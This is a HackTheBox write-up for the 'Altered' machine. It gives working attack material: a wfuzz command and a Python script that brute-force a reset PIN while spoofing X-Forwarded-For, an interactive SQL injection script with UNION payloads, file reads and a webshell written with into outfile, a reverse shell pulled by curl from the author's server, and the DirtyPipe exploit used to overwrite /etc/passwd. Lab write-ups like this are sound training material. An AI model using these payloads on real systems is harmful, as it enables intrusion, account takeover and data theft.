Altered - HackTheBox

fsd

I started with an Nmap scan to identify open ports.

┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat nmap.txt
# Nmap 7.92 scan initiated Thu Mar 31 23:44:05 2022 as: nmap -sS --min-rate 5000 -v -n -p- --open -Pn -o nmap.txt 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.43s latency).
Not shown: 52831 filtered tcp ports (no-response), 12702 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Mar 31 23:46:22 2022 -- 1 IP address (1 host up) scanned in 137.22 seconds

I did another scan to detect the version of the ports found.

┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat services.txt
# Nmap 7.92 scan initiated Thu Mar 31 23:47:11 2022 as: nmap -sCV -p22,80 -o services.txt 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-title: UHC March Finals
|_Requested resource was http://10.10.11.159/login
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 31 23:47:22 2022 -- 1 IP address (1 host up) scanned in 11.36 seconds

I only had two ports open, 22 was not working for me at the moment, so I looked at the web server.

paginaprincipal

It appears to be a login, I tried default credentials, admin admin but no luck, it reported a Forgot Password button.

passincorrect

The button redirected me to a page where I could see a panel of sorts where I could change the password of an existing user, I tried with the admin user.

forgot

And yes, it existed, but I didn’t have the corresponding pin to be able to change the password, I tried to brute force it with wfuzz to find out the pin, but there was a problem, the pin is made up of 4 digits, so I created a range from 0 to 9999 and I fuzzed the pin by POST adding the Cookie header with my Cookie, for the sake of redundancy, the problem was when sending requests from the same IP, it blocks them.

bloqueo

This could be avoided by sending the ``X-Forwarded-For header with a range of different IPs, for this I created a small bash` script that goes through a range from 0 to 256 with a nested loop.

#!/bin/bash

for i in {0..256}; do
  for j in {0..256}; do
    echo "10.10.$i.$j"
  done
done

And export the output of this to a text file.

delasprimeras

I fuzzed the X-Forwarded-For header with the IP's dictionary and the server and it no longer blocked me, the pin was 9176.

$ wfuzz -c --hc=404 -u http://10.10.11.159/api/resettoken -d 'name=admin&pin=FUZZ' -z range,0000-9999 -H 'Cookie: XSRF-TOKEN=eyJpdiI6ImMxd0YwdlMvTTY2RlBOMVFVUkJhUFE9PSIsInZhbHVlIjoiakxXaDMxT3dlRktNaXkre EdsaVRGd25QN3lwTjI0TjhLU0JmSUxJd0R5cG50TTFEbnJycm05SFR5eXFKNUdETDFJR0dwbHAyeUZkU0JQV3dqUU toUmtLRENRMlhPdCtrNUlrcTdvVlE1ODUwZmhrMXAyOUx4ZVdKbDN1OVl0Q3ciLCJtYWMiOiIyNmZmOWQ2MDdlYjVlMzE3YzRhZTM4ZjdlODk4MTdjOTA1YjY1ZGYwYzNmNzlhZTdiOGM0NDJhMjdjOGI1YWFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlyeUNmS0xhRFpOMzhhcEFSV1lVdmc9PSIsInZhbHVlIjoidzJsWTVhWm4wd1pBc WFxVlFOKzN4MTNFM1pSUTJ6blRabVpPeWJVV29Zd1ZIMXJuWGw4cW41Q1o5K1BGNXFGQ2M4V1dmWDE0VlJESWNKT2J WNnBpU0RNeFRqT3YvcjNuRGxxNmdEVkhoOFpIQ2dBOUZzdWRuRzVqVGhwN0FtaGoiLCJtYWMiOiJiNTg0M2E0NzNhYTdjOTIyMGI0NThiM2Q4OTdmNjBmNGMwZTQxMGUzMGZkOWQ4NzM4NWY2NDMwOWZhNzJmZjUwIiwidGFnIjoiIn0%3D' -w ips -H 'X-Forwarded-For: FUZ2Z' -m zip -t 100 --hh=5644

wfuzz

Similarly, this could be done with a script in Python 3.

#!/usr/bin/python3

from pwn import *
from sys import exit
from requests import post
import signal
from random import randrange

burp = {'http': 'http://127.0.0.1:8080'}

def def_handler(say,frame):
  print("Saliendo...")
  exit(0)
signal.signal(signal.SIGINT, def_handler)

class BruteForce():
  def __init__(self, main_url):
    self.__url = main_url

  def pin_code(self):
    p1 = log.progress("Trying PIN")
    p2 = log.progress("IP")

    for pin in range(9999):

      n1 = randrange(256)
      n2 = randrange(256)

      headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IlFoY3g0b2lTakNWMElZcGpuRnZjZHc9PSIsInZhbHVlIjoiQnUwZk9KS3JDQm5xZUNt amx3YVpSSm8yZVd0NTVQOUZOV3ZxMTFidStCbWJ4NXN4OS9GMXlSbnhEK0xNRWMwSzZTbnBMZVRVR3Vnb0dNUG5Zc m9ScmVTTks1ZTVYVXJWdVh2U05mZDZsQmJ4M3JROEc1Rm8vQlJNVURVTlFGMWgiLCJtYWMiOiI2N2IxNTEzM2Q2MTc1NzliNjU3ZWJmNzVkYjUwZmMyYWQzYzI5NjJiOGUxNmZkNDFkODlmOTJjOTgyYjVlMzMzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjJOMXFhTnVpRHcvUHU1d3F2NmxDS3c9PSIsInZhbHVlIjoiaFJGVVhNcitUTTFCWF J2c0FzYlFJQ3ZCR1pEQlM0eEhQSXo0TStjTkI2cEExVUNPcThCRWRWMWxEcnRaQTJFZjU3ak52ZWdQRTdsSzBpYkZh Z3lzY0VrbG5OZHNlUWtrSFU4eEM2bmI2eE94OWQydWpSd0poK3ZXcHpwNXR3ZWEiLCJtYWMiOiI0MWI2YmFhYzIyMjgyMWYxZDYzZjVhNGQzMDYxNjFiOWM1NzU0ZjEyZWRhOWFiZjFmMDg5OTEyM2E0YWQ0MzZiIiwidGFnIjoiIn0%3D',
        'X-Forwarded-For': f'10.10.{n1}.{n2}'
      }

      data_post = {
        'name': 'admin',
        'pin': pin
      }

      p1.status(f"{pin}/9999")
      p2.status(f"10.10.{n1}.{n2}")
      r = post(self.__url+'/api/resettoken', data=data_post, headers=headers)

      if len(r.text) != 5644:
        p1.success(f"Valid -> {pin}")
        break

brutepincode = BruteForce('http://10.10.11.159')

def main():
  brutepincode.pin_code()

if __name__ == '__main__':
  main()

Using this script is not very feasible due to its speed, but threads can be added using the concurrent.futures library to speed up the process.

Now, after entering the correct pin, I was redirected to a panel where I could change the password for the admin user.

change

I gave it the password uhc and logged in.

pass

This is what it looked like after logging in.

users

There were a number of users with a fancy button, view, I inspected the admin user and found an interesting function in the JavaScript code.

functionGetBio

This sent a GET request passing two parameters ‘id’ and ‘secret’, to see this in a better way I intercepted the request with BurpSuite by clicking the View button.

burp

There it is, it reported my id and my secret via GET, I sent the request.

response

Nothing interesting in the response, I tried changing the method from GET to POST and the result was different.

cambioapost

I didn’t accept this method, but something that caught my attention was that the response was in JSON format, I tried to parse the data in JSON by sending a GET request.

getconJSON

I still got the same answer, but what happened if I changed the id to something else?

cambioa1

The answer was different, I tried Type Juggling on secret setting it to True and it reported something very different.

typejuggling

I tried an SQL injection on the id parameter but it didn’t seem to be vulnerable.

sqlindicios

I tried to remove the simple stretcher and after multiple failed attempts I managed to find a different answer, it could have 3 columns.

sincomilla

To do this, I created a script in Python 3 to handle it more comfortably from the terminal.

#!/usr/bin/python3

from pwn import *
import signal
from requests import get
from sys import exit

burp = {'http': 'http://127.0.0.1:8080'}

def def_handler(say, frame):
  print("Saliendo...")
  exit(0)
signal.signal(signal.SIGINT, def_handler)

class InteractiveSQLi():
  def __init__(self, main_url):
    self.__url = main_url

  def sqli(self):
    while True:
      query = input('::$ ')

      headers = {
        "Content-Type": "application/json",
        "Cookie": " WVJSclJnbzgrZlFxR0FhS1NWaDR5WmdudDBDMTBlRi91bVhIYkE1YzJXWTh5VmczUlRSTVR6dHRuUlpUa1JaN3ZJM jgwQ3pUd21uNnJadEFYS3oxYm5rQVZqdFVFRjc2c3JoRitxT3d0Y2p4TGVLSkUiLCJtYWMiOiJiYTdjZjJiZmViN2Q4NmE0OWJmMjIwNTA2Zjg4YjVmNDY3ZjMyMTNlOTUwN2U1N2NiYmVmZWZkOWNmZmZhMzY1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdmM2RkeGlEVHBHano2RkRjTDZOUmc9PSIsInZhbHVlIjoiNlk5b2NnK2cvbGFFOG 80RWpQcEFQckRrbU9kbjhWckREM2RRcjFwakR3VzNXeHk5dHc4UTFFbU0wZ0tRaGptL3JUeEpSUEZtZEJncXJObWRr "QnBNTjE3dnRZaHgwbDI2YlNNL1c4RzB4SVpGNHZ0eWpjNjdRNncwWUJ0QnlvQnYiLCJtYWMiOiI3YjBmNjZjNzk0MjNhMDk2NjY5ZDBlMzIyYzJiOTNiMTg4NDA4ZWU2MjFjOTI1OWM5MGMwYzQ3Njk5ZWUzY2Y5IiwidGFnIjoiIn0%3D",
        "X-Requested-With": "XMLHttpRequest"
      }
  
      data_json = {
        "id": f"{query}",
        "secret": True
      }

      r = get(self.__url+'/api/getprofile', json=data_json, headers=headers)

      print('\n'+r.text+'\n')

sqlidebug = InteractiveSQLi('http://10.10.11.159')

def main():
  sqlidebug.sqli()

if __name__ == '__main__':
  main()

Knowing that it could be 3 columns, I inject 0 union select 1,2,3 and it reported 3 back, this meant that I could inject queries at that point and it would interpret it.

sqlienterminal

List all available databases with 0 union select 1,2,group_concat(schema_name) from information_schema.schemata;-- -.

basesdedatosenteras

uhc was a DB that caught my attention, I listed the tables in it with 0 union select 1,2,group_concat(concat(table_name)) from information_schema.tables where table_name = 'uhc';-- -.

enumeratetables

The users table looked good, so I listed its columns with 0 union select 1,2,group_concat(concat(column_name)) from information_schema.columns where table_schema = 'users';-- -.

enumeraciondecolumnas

There it is, name and password, this is what they had.

usershashes

These appeared to be the hashes of the web panel users, but these were of no use to me as I had the password for the admin user. Now, with SQL Injection I could view files on the machine using load_file.

etcpasswd+

And it worked, a utility like into outfile would allow me to upload files in case it let me, but I didn’t know the path where the web server was running, I understand that Apache 2 runs in /var/www/html, but what about nginx? I did a little search and found the following.

nginxrutadefault

After viewing the /etc/nginx/site-available/default file I found a potential path.

ahorasiruta

The server might be running at /srv/altered/public, so if the into outfile utility is functional you could upload a file to this path and have it accessible from the web, I tried uploading a ‘test.txt’ with ‘test’ as content.

estaes

And he let me do it.

subidaerfecta

Now I simply uploaded a Webshell to earn RCE.

shellphpverdadero rce

To gain access, I created an index.html file on my machine with the reverse shell code and shared a Python 3 web server hosting index.html and set it to listen via nc.

enescucha

I did a curl to my server from the Webshell.

sentencia

I parsed it with bash and gained access as www-data.

shellcomowdata

I did a TTY treatment and was able to view the user’s flag.

usertxt(1)


ESCALADA DE PRIVILEGIOS

List the kernel version.

unamemenosa

This version was vulnerable to CVE-2022-0847, DirtyPipe, I could take advantage of this vulnerability to overwrite the x of the root user in the /etc/passwd with a hash and subsequently authenticate myself as the root user.

For this, I used the following exploit.

Screenshot (26)

I opened a Python 3 server hosting the exploit and downloaded it from the victim machine with wget.

exploit1

I compiled it with gcc and ran it.

errorraro

The result didn’t look very good, but after looking at the /etc/passwd I verified that it did overwrite the x.

etcpasswdcambiado

I did root it, but there was still one more challenge.

juego

Apparently I had to guess a 5 letter word in order to enter the root password, after multiple failed attempts, I guessed the word, fstat, was able to enter the password piped and migrate to root.

ganadocomoroot

Leave a comment